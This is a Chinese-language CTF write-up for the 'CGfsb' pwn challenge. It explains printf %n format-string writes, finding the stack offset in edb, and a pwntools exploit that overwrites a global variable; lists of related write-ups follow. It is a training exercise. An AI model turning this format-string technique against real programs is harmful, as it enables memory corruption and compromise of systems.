这里补充一下%n是代表向参数赋值打印的字符个数

例如printf("AAAA%n",&a);

代表的是向a写入4

printf("AAAA%1n", &argu1)

代表的是将打印字符的个数值写入参数1中.

printf("AAAA%2$n", &argu1, &argu2, &argu3......)

使用'$'符号来进行参数的选择

代表的是将打印字符的个数写入参数2对应的地址内存中.

来看一点实际的吧:

a储存的时b的一个地址,将打印个数写入到第二个参数对应指向的内存中

实现了.

在堆栈中.printf中格式化字符窜'%p'  会打印第一个参数对应的值

可以使用%p来计算偏移.   这里对于新手可能不太直观,我就使用edb调试给大家看

咱们来看一下题:

检查一下保护

使用ida打开分析:

逻辑是,怎样使用pwnme = 8即可.

找到pwnme的地址

记录一下地址,开始使用edb调试分析.按F9直接进入main函数

输入一些%p打印第一个参数的内容,找偏移

跟进printf中:

打印出

打印的值为第一个参数和第二第三参数的值,查看堆栈窗口.找一下偏移

从ff83b2de到44434241有9偏移,而个数是从1计数的所以偏移为10.

在这里,我们只需想法设法把ff83b2e8里对应的值该为目标对应修改地址,然而第二次输入时直接输入即可     p32(pwnme addr)

然后再调一下打印个数即可修改对目标pwnme值进行修改

即payload = p32(pwnme addr) + '%10$'

有人可能会问,为啥把地址写在前面,因为输入的地方就离printf第一个参数偏移位10的地方,地址就直接写在那就行了,其实你也可以写在后面,那得重新计算偏移即可

重新调试:输入偏移为10

直接运行结束,因为0x44434241地址不可写入

我们将该值在堆栈里修改一下,为0x 0804a068

运行一下:

成功将pwnme值修改为4

好开始利用漏洞,exp

#! bin/python

from pwn import *
sh = process("./CGfsb")
sh = remote("111.198.29.45",36339)
sh.recvuntil("please tell me your name:\n")
payload = 'Logan'
sh.sendline(payload)

sh.recvuntil("leave your message please:\n")
addr = 0x0804A068 # addr of pwnme
payload = p32(addr) +'AAAA'+ '%10$n'  
sh.sendline(payload)
sh.interactive()

#sh.close()

可能有人会问,为啥要填充4个A?  因为p32(addr)占4个字节,若想让pwnme等于8,那还差4个字节,随便填充4个字节就好了

CGfsb的更多相关文章

  1. day-4 xctf-pwn CGfsb

    xctf-pwn CGfsb 传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id= ...

  2. 攻防世界 | CGfsb

    所以题目要求是输入生日1926l

  3. 攻防世界pwn之新手区

    涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...

  4. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  5. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

随机推荐

  1. 阶段1 语言基础+高级_1-3-Java语言高级_06-File类与IO流_04 IO字节流_9_字节输入流读取字节数据

    硬盘读取到内存   read值会读一个字节 a.txt里面a变成整数就是97   读取到末尾,返回-1 再读一次还是-1 读取的代码是重复的.可以使用循环去读取.while循环. 转行成char类型的 ...

  2. 模拟鼠标向下滚动 http://bbs.2ccc.com/topic.asp?topicid=461769

    我想模拟鼠标滚轮,下面的代码能向上滚动,怎么样下向滚动啊 mouse_event( MOUSEEVENTF_WHEEL,0,0,WHEEL_DELTA,0); 我把参数设置为mouse_event(  ...

  3. Android 静态广播和动态广播接收顺序

    Android广播有两个很重要的要素: 1 广播 - 用于发送广播 有序广播  -  被广播接收器接收后,可被终止,无法往下继续传达.         典型代表:短信广播 普通广播  -  发送至每一 ...

  4. [Usaco2014 Feb] Roadblock

    有一个无向图,共N个节点,编号1至N,共M条边.FJ在节点1,它想到达节点N.FJ总是会选择最短路径到达节点N .作为捣蛋的奶牛Bessie,它想尽量延迟FJ到达节点N的时间,于是Bessie决定从M ...

  5. 剑指offer--day10

    1.1 题目:二叉搜索树的后序遍历序列:输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果.如果是则输出Yes,否则输出No.假设输入的数组的任意两个数字都互不相同. 1.2 思路: 以{ ...

  6. Websocket如何建立连接

    前面提到,WebSocket复用了HTTP的握手通道.具体指的是,客户端通过HTTP请求与WebSocket服务端协商升级协议.协议升级完成后,后续的数据交换则遵照WebSocket的协议. 1.客户 ...

  7. JMeter学习笔记16-如何输出HTML格式的性能测试报告

    文本来学习下,如何输入HTML格式的JMeter测试报告.前面已经介绍, 如果要做性能测试,需要在GUI上设计好你的Test Plan,设置各种场景和负载值,包括多少个线程,多少个用户,循环多少次.设 ...

  8. vuejs基础-MVVM结构

    Vue.js 基本代码 和 MVVM 之间的对应关系 处理过程: 每当用户进行业务处理时,如果需要进行业务处理,都会通过网络请求,去请求后端的服务器,此时,我们的这个请求,就会被后端的App.js监听 ...

  9. CDH平台搭建遇到的问题

    安装之前遇到的问题:   Note: Forwarding request to 'systemctl disable NetworkManager.service'. Removed symlink ...

  10. win10系统Docker和VMware WorkStation共存,远程工具连接Docker

    摘要:win10安装docker进行学习的两种途径: Docker for Windows Installer.exe(地址https://download.docker.com/win/stable ...